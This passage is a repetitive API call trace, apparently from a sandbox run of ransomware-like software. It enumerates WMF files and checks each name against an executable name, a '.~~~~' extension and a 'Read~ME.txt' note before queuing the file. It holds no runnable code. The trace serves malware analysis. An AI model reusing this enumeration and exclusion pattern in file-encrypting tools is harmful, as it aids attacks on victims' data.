	[0084.911] lstrcmpW (lpString1="J0152430.WMF", lpString2="oiikyy.exe") returned -1
	[0084.911] StrStrW (lpFirst="J0152430.WMF", lpSrch=".~~~~") returned 0x0
	[0084.911] lstrcmpW (lpString1="J0152430.WMF", lpString2="Read~ME.txt") returned -1
	[0084.911] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.911] GetCurrentThreadId () returned 0x618
	[0084.911] RtlWakeConditionVariable () returned 0x365f48
	[0084.911] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x406c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152432.WMF", cAlternateFileName="")) returned 1
	[0084.911] lstrcmpiW (lpString1="J0152432.WMF", lpString2="Windows") returned -1
	[0084.911] lstrcmpW (lpString1="J0152432.WMF", lpString2="oiikyy.exe") returned -1
	[0084.911] StrStrW (lpFirst="J0152432.WMF", lpSrch=".~~~~") returned 0x0
	[0084.912] lstrcmpW (lpString1="J0152432.WMF", lpString2="Read~ME.txt") returned -1
	[0084.912] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.912] GetCurrentThreadId () returned 0x618
	[0084.912] RtlWakeConditionVariable () returned 0x365f48
	[0084.912] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2c4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152436.WMF", cAlternateFileName="")) returned 1
	[0084.912] lstrcmpiW (lpString1="J0152436.WMF", lpString2="Windows") returned -1
	[0084.912] lstrcmpW (lpString1="J0152436.WMF", lpString2="oiikyy.exe") returned -1
	[0084.912] StrStrW (lpFirst="J0152436.WMF", lpSrch=".~~~~") returned 0x0
	[0084.912] lstrcmpW (lpString1="J0152436.WMF", lpString2="Read~ME.txt") returned -1
	[0084.912] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.912] GetCurrentThreadId () returned 0x618
	[0084.912] RtlWakeConditionVariable () returned 0x365f48
	[0084.912] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4030, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152556.WMF", cAlternateFileName="")) returned 1
	[0084.912] lstrcmpiW (lpString1="J0152556.WMF", lpString2="Windows") returned -1
	[0084.912] lstrcmpW (lpString1="J0152556.WMF", lpString2="oiikyy.exe") returned -1
	[0084.912] StrStrW (lpFirst="J0152556.WMF", lpSrch=".~~~~") returned 0x0
	[0084.912] lstrcmpW (lpString1="J0152556.WMF", lpString2="Read~ME.txt") returned -1
	[0084.912] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.912] GetCurrentThreadId () returned 0x618
	[0084.912] RtlWakeConditionVariable () returned 0x365f48
	[0084.912] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3eb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152558.WMF", cAlternateFileName="")) returned 1
	[0084.912] lstrcmpiW (lpString1="J0152558.WMF", lpString2="Windows") returned -1
	[0084.912] lstrcmpW (lpString1="J0152558.WMF", lpString2="oiikyy.exe") returned -1
	[0084.912] StrStrW (lpFirst="J0152558.WMF", lpSrch=".~~~~") returned 0x0
	[0084.913] lstrcmpW (lpString1="J0152558.WMF", lpString2="Read~ME.txt") returned -1
	[0084.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.913] GetCurrentThreadId () returned 0x618
	[0084.913] RtlWakeConditionVariable () returned 0x365f48
	[0084.913] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a80, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152560.WMF", cAlternateFileName="")) returned 1
	[0084.913] lstrcmpiW (lpString1="J0152560.WMF", lpString2="Windows") returned -1
	[0084.913] lstrcmpW (lpString1="J0152560.WMF", lpString2="oiikyy.exe") returned -1
	[0084.913] StrStrW (lpFirst="J0152560.WMF", lpSrch=".~~~~") returned 0x0
	[0084.913] lstrcmpW (lpString1="J0152560.WMF", lpString2="Read~ME.txt") returned -1
	[0084.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.913] GetCurrentThreadId () returned 0x618
	[0084.913] RtlWakeConditionVariable () returned 0x365f48
	[0084.913] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe70, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152568.WMF", cAlternateFileName="")) returned 1
	[0084.913] lstrcmpiW (lpString1="J0152568.WMF", lpString2="Windows") returned -1
	[0084.913] lstrcmpW (lpString1="J0152568.WMF", lpString2="oiikyy.exe") returned -1
	[0084.913] StrStrW (lpFirst="J0152568.WMF", lpSrch=".~~~~") returned 0x0
	[0084.913] lstrcmpW (lpString1="J0152568.WMF", lpString2="Read~ME.txt") returned -1
	[0084.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.913] GetCurrentThreadId () returned 0x618
	[0084.913] RtlWakeConditionVariable () returned 0x365f48
	[0084.913] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd28, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152570.WMF", cAlternateFileName="")) returned 1
	[0084.913] lstrcmpiW (lpString1="J0152570.WMF", lpString2="Windows") returned -1
	[0084.913] lstrcmpW (lpString1="J0152570.WMF", lpString2="oiikyy.exe") returned -1
	[0084.914] StrStrW (lpFirst="J0152570.WMF", lpSrch=".~~~~") returned 0x0
	[0084.914] lstrcmpW (lpString1="J0152570.WMF", lpString2="Read~ME.txt") returned -1
	[0084.914] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.914] GetCurrentThreadId () returned 0x618
	[0084.914] RtlWakeConditionVariable () returned 0x365f48
	[0084.914] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2ab4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152590.WMF", cAlternateFileName="")) returned 1
	[0084.914] lstrcmpiW (lpString1="J0152590.WMF", lpString2="Windows") returned -1
	[0084.914] lstrcmpW (lpString1="J0152590.WMF", lpString2="oiikyy.exe") returned -1
	[0084.914] StrStrW (lpFirst="J0152590.WMF", lpSrch=".~~~~") returned 0x0
	[0084.914] lstrcmpW (lpString1="J0152590.WMF", lpString2="Read~ME.txt") returned -1
	[0084.914] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.914] GetCurrentThreadId () returned 0x618
	[0084.914] RtlWakeConditionVariable () returned 0x365f48
	[0084.914] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x18c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152594.WMF", cAlternateFileName="")) returned 1
	[0084.914] lstrcmpiW (lpString1="J0152594.WMF", lpString2="Windows") returned -1
	[0084.914] lstrcmpW (lpString1="J0152594.WMF", lpString2="oiikyy.exe") returned -1
	[0084.914] StrStrW (lpFirst="J0152594.WMF", lpSrch=".~~~~") returned 0x0
	[0084.914] lstrcmpW (lpString1="J0152594.WMF", lpString2="Read~ME.txt") returned -1
	[0084.914] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.914] GetCurrentThreadId () returned 0x618
	[0084.914] RtlWakeConditionVariable () returned 0x365f48
	[0084.914] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2628, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152600.WMF", cAlternateFileName="")) returned 1
	[0084.914] lstrcmpiW (lpString1="J0152600.WMF", lpString2="Windows") returned -1
	[0084.914] lstrcmpW (lpString1="J0152600.WMF", lpString2="oiikyy.exe") returned -1
	[0084.915] StrStrW (lpFirst="J0152600.WMF", lpSrch=".~~~~") returned 0x0
	[0084.915] lstrcmpW (lpString1="J0152600.WMF", lpString2="Read~ME.txt") returned -1
	[0084.915] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.915] GetCurrentThreadId () returned 0x618
	[0084.915] RtlWakeConditionVariable () returned 0x365f48
	[0084.915] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1884, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152602.WMF", cAlternateFileName="")) returned 1
	[0084.915] lstrcmpiW (lpString1="J0152602.WMF", lpString2="Windows") returned -1
	[0084.915] lstrcmpW (lpString1="J0152602.WMF", lpString2="oiikyy.exe") returned -1
	[0084.915] StrStrW (lpFirst="J0152602.WMF", lpSrch=".~~~~") returned 0x0
	[0084.915] lstrcmpW (lpString1="J0152602.WMF", lpString2="Read~ME.txt") returned -1
	[0084.915] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.915] GetCurrentThreadId () returned 0x618
	[0084.915] RtlWakeConditionVariable () returned 0x365f48
	[0084.915] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x40f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152606.WMF", cAlternateFileName="")) returned 1
	[0084.915] lstrcmpiW (lpString1="J0152606.WMF", lpString2="Windows") returned -1
	[0084.915] lstrcmpW (lpString1="J0152606.WMF", lpString2="oiikyy.exe") returned -1
	[0084.915] StrStrW (lpFirst="J0152606.WMF", lpSrch=".~~~~") returned 0x0
	[0084.915] lstrcmpW (lpString1="J0152606.WMF", lpString2="Read~ME.txt") returned -1
	[0084.915] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.915] GetCurrentThreadId () returned 0x618
	[0084.915] RtlWakeConditionVariable () returned 0x365f48
	[0084.916] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3094, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152608.WMF", cAlternateFileName="")) returned 1
	[0084.916] lstrcmpiW (lpString1="J0152608.WMF", lpString2="Windows") returned -1
	[0084.916] lstrcmpW (lpString1="J0152608.WMF", lpString2="oiikyy.exe") returned -1
	[0084.916] StrStrW (lpFirst="J0152608.WMF", lpSrch=".~~~~") returned 0x0
	[0084.916] lstrcmpW (lpString1="J0152608.WMF", lpString2="Read~ME.txt") returned -1
	[0084.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.916] GetCurrentThreadId () returned 0x618
	[0084.916] RtlWakeConditionVariable () returned 0x365f48
	[0084.916] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1748, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152610.WMF", cAlternateFileName="")) returned 1
	[0084.916] lstrcmpiW (lpString1="J0152610.WMF", lpString2="Windows") returned -1
	[0084.916] lstrcmpW (lpString1="J0152610.WMF", lpString2="oiikyy.exe") returned -1
	[0084.916] StrStrW (lpFirst="J0152610.WMF", lpSrch=".~~~~") returned 0x0
	[0084.916] lstrcmpW (lpString1="J0152610.WMF", lpString2="Read~ME.txt") returned -1
	[0084.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.916] GetCurrentThreadId () returned 0x618
	[0084.916] RtlWakeConditionVariable () returned 0x365f48
	[0084.916] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2584, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152622.WMF", cAlternateFileName="")) returned 1
	[0084.916] lstrcmpiW (lpString1="J0152622.WMF", lpString2="Windows") returned -1
	[0084.916] lstrcmpW (lpString1="J0152622.WMF", lpString2="oiikyy.exe") returned -1
	[0084.916] StrStrW (lpFirst="J0152622.WMF", lpSrch=".~~~~") returned 0x0
	[0084.916] lstrcmpW (lpString1="J0152622.WMF", lpString2="Read~ME.txt") returned -1
	[0084.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.916] GetCurrentThreadId () returned 0x618
	[0084.917] RtlWakeConditionVariable () returned 0x365f48
	[0084.917] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6688, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152626.WMF", cAlternateFileName="")) returned 1
	[0084.917] lstrcmpiW (lpString1="J0152626.WMF", lpString2="Windows") returned -1
	[0084.917] lstrcmpW (lpString1="J0152626.WMF", lpString2="oiikyy.exe") returned -1
	[0084.917] StrStrW (lpFirst="J0152626.WMF", lpSrch=".~~~~") returned 0x0
	[0084.917] lstrcmpW (lpString1="J0152626.WMF", lpString2="Read~ME.txt") returned -1
	[0084.917] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.917] GetCurrentThreadId () returned 0x618
	[0084.917] RtlWakeConditionVariable () returned 0x365f48
	[0084.917] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x785c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152628.WMF", cAlternateFileName="")) returned 1
	[0084.917] lstrcmpiW (lpString1="J0152628.WMF", lpString2="Windows") returned -1
	[0084.917] lstrcmpW (lpString1="J0152628.WMF", lpString2="oiikyy.exe") returned -1
	[0084.917] StrStrW (lpFirst="J0152628.WMF", lpSrch=".~~~~") returned 0x0
	[0084.917] lstrcmpW (lpString1="J0152628.WMF", lpString2="Read~ME.txt") returned -1
	[0084.917] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.917] GetCurrentThreadId () returned 0x618
	[0084.917] RtlWakeConditionVariable () returned 0x365f48
	[0084.917] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8774, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152688.WMF", cAlternateFileName="")) returned 1
	[0084.917] lstrcmpiW (lpString1="J0152688.WMF", lpString2="Windows") returned -1
	[0084.917] lstrcmpW (lpString1="J0152688.WMF", lpString2="oiikyy.exe") returned -1
	[0084.917] StrStrW (lpFirst="J0152688.WMF", lpSrch=".~~~~") returned 0x0
	[0084.917] lstrcmpW (lpString1="J0152688.WMF", lpString2="Read~ME.txt") returned -1
	[0084.917] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.918] GetCurrentThreadId () returned 0x618
	[0084.918] RtlWakeConditionVariable () returned 0x365f48
	[0084.918] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152690.WMF", cAlternateFileName="")) returned 1
	[0084.918] lstrcmpiW (lpString1="J0152690.WMF", lpString2="Windows") returned -1
	[0084.918] lstrcmpW (lpString1="J0152690.WMF", lpString2="oiikyy.exe") returned -1
	[0084.918] StrStrW (lpFirst="J0152690.WMF", lpSrch=".~~~~") returned 0x0
	[0084.918] lstrcmpW (lpString1="J0152690.WMF", lpString2="Read~ME.txt") returned -1
	[0084.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.918] GetCurrentThreadId () returned 0x618
	[0084.918] RtlWakeConditionVariable () returned 0x365f48
	[0084.918] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x544, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152694.WMF", cAlternateFileName="")) returned 1
	[0084.918] lstrcmpiW (lpString1="J0152694.WMF", lpString2="Windows") returned -1
	[0084.918] lstrcmpW (lpString1="J0152694.WMF", lpString2="oiikyy.exe") returned -1
	[0084.918] StrStrW (lpFirst="J0152694.WMF", lpSrch=".~~~~") returned 0x0
	[0084.918] lstrcmpW (lpString1="J0152694.WMF", lpString2="Read~ME.txt") returned -1
	[0084.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.918] GetCurrentThreadId () returned 0x618
	[0084.918] RtlWakeConditionVariable () returned 0x365f48
	[0084.918] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c98, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152696.WMF", cAlternateFileName="")) returned 1
	[0084.918] lstrcmpiW (lpString1="J0152696.WMF", lpString2="Windows") returned -1
	[0084.918] lstrcmpW (lpString1="J0152696.WMF", lpString2="oiikyy.exe") returned -1
	[0084.918] StrStrW (lpFirst="J0152696.WMF", lpSrch=".~~~~") returned 0x0
	[0084.918] lstrcmpW (lpString1="J0152696.WMF", lpString2="Read~ME.txt") returned -1
	[0084.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.919] GetCurrentThreadId () returned 0x618
	[0084.919] RtlWakeConditionVariable () returned 0x365f48
	[0084.919] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152698.WMF", cAlternateFileName="")) returned 1
	[0084.919] lstrcmpiW (lpString1="J0152698.WMF", lpString2="Windows") returned -1
	[0084.919] lstrcmpW (lpString1="J0152698.WMF", lpString2="oiikyy.exe") returned -1
	[0084.919] StrStrW (lpFirst="J0152698.WMF", lpSrch=".~~~~") returned 0x0
	[0084.919] lstrcmpW (lpString1="J0152698.WMF", lpString2="Read~ME.txt") returned -1
	[0084.919] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.919] GetCurrentThreadId () returned 0x618
	[0084.919] RtlWakeConditionVariable () returned 0x365f48
	[0084.919] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152702.WMF", cAlternateFileName="")) returned 1
	[0084.919] lstrcmpiW (lpString1="J0152702.WMF", lpString2="Windows") returned -1
	[0084.919] lstrcmpW (lpString1="J0152702.WMF", lpString2="oiikyy.exe") returned -1
	[0084.919] StrStrW (lpFirst="J0152702.WMF", lpSrch=".~~~~") returned 0x0
	[0084.919] lstrcmpW (lpString1="J0152702.WMF", lpString2="Read~ME.txt") returned -1
	[0084.919] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.919] GetCurrentThreadId () returned 0x618
	[0084.919] RtlWakeConditionVariable () returned 0x365f48
	[0084.919] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x674, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152704.WMF", cAlternateFileName="")) returned 1
	[0084.919] lstrcmpiW (lpString1="J0152704.WMF", lpString2="Windows") returned -1
	[0084.919] lstrcmpW (lpString1="J0152704.WMF", lpString2="oiikyy.exe") returned -1
	[0084.919] StrStrW (lpFirst="J0152704.WMF", lpSrch=".~~~~") returned 0x0
	[0084.920] lstrcmpW (lpString1="J0152704.WMF", lpString2="Read~ME.txt") returned -1
	[0084.920] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.920] GetCurrentThreadId () returned 0x618
	[0084.920] RtlWakeConditionVariable () returned 0x365f48
